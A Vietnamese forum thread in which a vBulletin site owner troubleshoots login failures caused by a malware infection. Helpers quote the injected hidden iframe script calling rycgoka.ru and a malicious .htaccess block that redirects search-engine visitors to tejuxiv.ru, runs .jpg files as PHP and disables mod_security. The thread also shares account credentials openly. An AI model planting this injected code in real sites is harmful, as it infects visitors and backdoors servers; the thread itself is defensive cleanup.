diễn đàn không đăng nhập đc admincp

[loctinh2030]

khi đăng nhập thì nó báo là đăng nhập thành công rồi loading xong thì giống như là chưa đăng nhập.

đăng nhập admincp thì nó báo.

Cảnh báo: Phần mềm độc hại có thể không có ngay ở đây!
cntt34.com chứa nội dung từ rycgoka.ru, một trang web được xác định là phân phối phần mềm độc hại. Máy tính của bạn có thể bị nhiễm vi-rút nếu bạn truy cập trang này.


sao đó chuyển đến trang có nội dung.

Una b le to add co okies, hea der alre ady sent.File: /ho me/cnttcom/public_html/diendan/includ es/functions_login. php


Line: 522


vào admincp luôn.các anh chị giúp em với, tự nhiên nó bị luôn.

[Phúc Cùi Bắp]

Hình như bạn cấu hình đường dẫn cookies bị sai nên nó ra cái lỗi này?

[admin]

Do trình duyệt chặn đoạn script độc hại nào đó, Bạn vào view source của trang xem có đoạn script nào liên quan đến đường dẫn rycgoka.ru, nếu có thì vào phpmyadmin tìm và bỏ đoạn đó đi

[loctinh2030]

Do trình duyệt chặn đoạn script độc hại nào đó, Bạn vào view source của trang xem có đoạn script nào liên quan đến đường dẫn rycgoka.ru, nếu có thì vào phpmyadmin tìm và bỏ đoạn đó đi

từ trước giờ đâu có đâu, giờ tự dưng nó bị, mới hum qua em vào đc bình thường, hồi sáng cũng vậy, giờ vào là nó bị.
em search rồi nhưng ko tìm thấy rycgoka.ru

[loctinh2030]

anh AD giúp em với, em gửi lên host, host nói là đang dính malware, làm sao để gở ra, tại k đăng nhập vào diễn đàn đc.

[Phúc Cùi Bắp]

Ngay trang chủ luôn

<!--d93065--><script type="text/javascript">document.write('<iframe src="http://rycgoka.ru/count1.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');</script><iframe src="http://rycgoka.ru/count1.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe><!--/d93065-->

[mt_binh]

Bạn dùng Hijackthis. Download tại http://sourceforge.net/projects/hjt/
Bạn chạy phần mềm, thấy dòng nào có cntt34.com hoặc rycgoka.ru, đánh dấu chọn, sau đó nhấn vào button Fix Checked

[loctinh2030]

Bạn dùng Hijackthis. Download tại http://sourceforge.net/projects/hjt/
Bạn chạy phần mềm, thấy dòng nào có cntt34.com hoặc rycgoka.ru, đánh dấu chọn, sau đó nhấn vào button Fix Checked


em chạy rồi, nhưng ko thấy cntt34.com hay là rycgoka.ru

[admin]

Bạn gửi link forum lên mình check xem sao nhé

[loctinh2030]

Ngay trang chủ luôn

<!--d93065--><script type="text/javascript">document.write('<iframe src="http://rycgoka.ru/count1.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');</script><iframe src="http://rycgoka.ru/count1.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe><!--/d93065-->

cảm ơn bạn giống như lời bạn đã nói, quả thật ở trang index có link rycgoka.ru, nhưng mình đã đối trang index mình tự viết rất đơn giản rồi mà nó vẫn vậy...

[loctinh2030]

Bạn gửi link forum lên mình check xem sao nhé

anh check giúp em nha: cntt34.com.....

em tham gia diễn đàn cũng lâu rồi, và cũng đã đóng góp rất nhiều câu hỏi cho diễn đàn,...

[loctinh2030]

sao ko ai giúp với...

[hanhkhat]

Cái này có thể là do cấu hình cookies sai nên không vô admincp được.
Bạn đưa user và pass admin cho mình, mình vào sửa cho

[loctinh2030]

lúc đầu em tìm thấy link có chứa phần mềm độc hại rycgoka.ru tại trang index, khi em xoá trang đó và thay vào 1 trang index khác thì đã đăng nhập lại đc, nhưng google vẫn còn cảnh cáo.

[hanhkhat]

kệ nó đi. khoảng 1 tháng sau là nó tự bỏ à

[loctinh2030]

cảm ơn anh Phúc nhe... ^^

[loctinh2030]

ai giúp em với, dạo này hết rồi, giờ tự nhiên nó lại bị dính nữa, đăng nhập thì nó báo là đăng nhập thành công, nhưng vào thì giống như không đăng nhập, vào acp cũng không đc.

em kiểm tra lại thì thấy xuất hiện 1 số thư mục lạ nằm trong root và trong diễn đàn
tên là file: trong thư mục này có 2 thư mục nữa là home và ls -al, trong home lại có 2 thư mục nữa là tên host và tên user của host.

link trang web: cntt34.com

[loctinh2030]

Gửi link lên cho mọi người xem đi!

cntt34.com đó bạn. toàn bộ tài khoảng login ko đc, login admin cũng bị lỗi giống như ở trên mình nói,

google thông báo là dính link chứa phần mềm độc hại.
tài khoảng để bạn login thử cntt34.com pass 123456

[loctinh2030]

mình tìm mãi mà không thấy link virut tejuxiv.ru mà google công bố, khi nghe lời bạn tìm đến file .htaccess thì thấy có đoạn code có link đó.



#d93065#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|alles klar|allpages|allthesites|alltheuk|alltheweb|altav ista|america|amfibi|aol|apollo7|aport|arcor|ask|at search|baidu|bellnet|bestireland|bhanvad|bing|blog |bluewin|botw|brainysearch|bricabrac|browseireland |chapu|claymont|click4choice|clickey|clickz|clush| confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eni ro|entireweb|euroseek|exalead|excite|express|faceb ook|fastbot|filesearch|findelio|findhow|finditirel and|findloo|findwhat|finnalle|finnfirma|fireball|f lemiro|flickr|freenet|friendsreunited|galaxy|gasta |gigablast|gimpsy|globalsearchdirectory|goo|google |goto|gulesider|hispavista|hotbot|hotfrog|icq|iese arch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|k eyweb|kingdomseek|klammeraffe|km|kobala|kompass|kp nvandaag|kvasir|libero|limier|linkedin|live|livein ternet|lookle|lycos|mail|mamma|metabot|metacrawler |metaeureka|mojeek|msn|myspace|netscape|netzindex| nigma|nlsearch|nol9|oekoportal|openstat|orange|pas sagen|pocketflier|qp|qq|rambler|rtl|savio|schnells uche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyh ired|slider|sol|splut|spray|startpagina|startsiden |sucharchiv|suchbiene|suchbot|suchknecht|suchmasch ine|suchnase|sympatico|telfort|telia|teoma|terra|t he-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|v kontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wik ipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|y ippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://tejuxiv.ru/count2.php [R=301,L]
</IfModule>
#/d93065#
AddHandler application/x-httpd-php .jpg


<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>


cách khắc phục giúp mình với.

[admin]

Rõ ràng quá rồi mà, bạn xóa file .htaccess này đi, sẽ không ảnh hưởng gì đến forum đâu

[loctinh2030]

sao từ trước giờ không sao, mà tự dúng nó bị, còn thư mục lạ tự dưng xuất hiện trong host là sao?

[ASTH]

chắc nó tự thêm vào mà! bạn cứ xóa file đó xem sao!nó không ảnh hưởng gì đâu?

"""mà tại sao admin lại xoa nick mình thế nhỉ? nick mình trước là phamduytien_2212 mà sao lại bị ban vì Vi phạm nội quy thế nhỉ? """
Bótay.com với anh Trung mất!???????

[loctinh2030]

mình đã xoá file đó rồi mà nó vẫn không đăng nhập đc và vẫn bị cảnh báo.

đăng nhập thì nó nói là thành công rồi, nhưng load xong thì chưa đăng nhập.

[ASTH]

à cái đang nhập đó bạn thử thế này xem: bạn thêm www vào đang trước domain của bạn ấy! sau đó đăng nhập, nếu nó báo lỗi link thì bạn tiếp tục lại đăng nhập một lần nữa là được! lúc trưa mình thử được mà!

[loctinh2030]

à cái đang nhập đó bạn thử thế này xem: bạn thêm www vào đang trước domain của bạn ấy! sau đó đăng nhập, nếu nó báo lỗi link thì bạn tiếp tục lại đăng nhập một lần nữa là được! lúc trưa mình thử được mà!

cảm ơn bạn rất là nhiều, không có cách để khắc phục hả, như vậy làm phiền thành viên, và không thành viên nào chấp nhận như vậy hết.

[ASTH]

thì ở nick trước mình mới nói với bạn sử dụng .htaccess để viết lại dường dẫn còn gì!
mà cảm ơn sao không bấm nút thanks vậy? :D

[loctinh2030]

mình cảm ơn hết rồi đó, nhưng giờ nó vẫn vậy, giúp mình với.

[ASTH]

mình cảm ơn hết rồi đó, nhưng giờ nó vẫn vậy, giúp mình với.

vẫn vậy là sao bạn! bạn đã thử viết lại dường dẫn chưa?

[loctinh2030]

nó vẫn k đăng nhập đc, làm theo cách của bạn thì đăng nhập đc vào 4rum thôi, acp ko đc. nhưng làm sao để triệt để,...

[ASTH]

nick trước mình nói rồi mà, nhung bị anh Trung ban nên mất luôn!
Bạn thử thế này xem sao, mình nghĩ do lỗi cooki thôi:

--- bạn up thư mục install ngang hàng với admincp (trong thư mục này bạn chỉ quan tâm file init.php thôi!)
---trong thư mục do_not_upload (cái này có khi download mã nguồn, nhớ là phải cùng version) bạn up file tools.php vào thư mục install lúc nãy up, nghĩa là bạn trong thư mục install bây giờ chắc chắn rằng bạn phải có bạn có 2 file là tools.php & init.php
---Bạn chạy file cntt34.com/diendan/install/tools.php tìm đến Cookie Prefix
bạn nhấn vào Reset Cookie Domain & Reset Cookie Path
---Sau khi làm xong bạn trở lại host xóa file init.php & tools.php trong install vừa úp.
Sau đó bạn đăng nhập admincp lại xem sao nhé!

Nếu vào được admin thì bạn nên tăng cooki lên 8000 --> 9000 gì đó đi nha!

Chú ý lần sau nhớ back up thường xuyên hơn đi bạn!.

[loctinh2030]

nick trước mình nói rồi mà, nhung bị anh Trung ban nên mất luôn!
Bạn thử thế này xem sao, mình nghĩ do lỗi cooki thôi:

--- bạn up thư mục install ngang hàng với admincp (trong thư mục này bạn chỉ quan tâm file init.php thôi!)
---trong thư mục do_not_upload (cái này có khi download mã nguồn, nhớ là phải cùng version) bạn up file tools.php vào thư mục install lúc nãy up, nghĩa là bạn trong thư mục install bây giờ chắc chắn rằng bạn phải có bạn có 2 file là tools.php & init.php
---Bạn chạy file cntt34.com/diendan/install/tools.php tìm đến Cookie Prefix
bạn nhấn vào Reset Cookie Domain & Reset Cookie Path
---Sau khi làm xong bạn trở lại host xóa file init.php & tools.php trong install vừa úp.
Sau đó bạn đăng nhập admincp lại xem sao nhé!

Nếu vào được admin thì bạn nên tăng cooki lên 8000 --> 9000 gì đó đi nha!

Chú ý lần sau nhớ back up thường xuyên hơn đi bạn!.

vẫn không vào đc bạn ơi, đăng nhập acp xong nó thông báo.

Unable to add cookies, header already sent.
File: /home3/cnttcom/public_html/diendan/includes/functions_login.php
Line: 522

[ASTH]

Tưởng gì ! bạn làm thế này xem sao nha!
Bạn chỉ cần mở file functions_login.php (includes/functions_login.php) của bạn bằng notepad ++ sau đó Encoding thành: Encode in ANSI
Sau đó lưu lại rồi OK.

[loctinh2030]

Tưởng gì ! bạn làm thế này xem sao nha!
Bạn chỉ cần mở filefunctions_login.php (includes/functions_login.php) của bạn bằng notepad ++ sau đó Encoding thành: Encode in ANSI
Sau đó lưu lại rồi OK.

vẫn ko đc bạn ơi, bạn online yahoo chỉ mình đi.

[ASTH]

thử cách cuối này xem thế nào nha! không được thì dành bostay.com vậy!
bạn disable các mod bằng cách sau: ( nếu các cách trên không được thì mình nghĩ do lỗi mod)
bạn sửa file config.php như sau:
Thêm vào sau:
bạn tìm

<?php
Thêm vào đằng sau cái đó đoạn này:

define('DISABLE_HOOKS', true);

sau đó, nếu đăng nhập được thì bạn thử từng mod xem có cái nào lỗi thì gỡ nó ra là ok!
:>

[loctinh2030]

cái này để khoá mod, cũng ko được, mình search trên google và đã làm hết những cách mà bạn chỉ rồi.

[ASTH]

Đã thế bạn up lại mã nguồn gốc ấy! hoặc upgrade lên xem thê nào

mình chỉ biết bấy nhiêu thôi ak! mình còn 1 cách nhưng mình nghĩ cũng chả được đâu!

---> và botay.com! .....hết nếu không được! bye bạn!

[loctinh2030]

không lẽ itvnn không ai giúp được mình.

vậy mình sẽ chuyển nhà, trên 4rum này mình cũng là thành viên tham gia rất lâu, vì mỗi khi có gì mình đều lên đây hỏi, nhưng giờ ban quản trị, ko ai trả lời giúp đỡ hết.

[ASTH]

upgrade lên xem sao! mình bị thế nhưng mình sửa như thế là được mà!

[loctinh2030]

uhm, mình cảm ơn, để làm thử........

[hanhkhat]

Em send private cái acc admin để anh vào test thử nhé.
Mấy vụ này gặp nhiều lắm rồi.
1 taaunf rồi mới được lên mạng T_T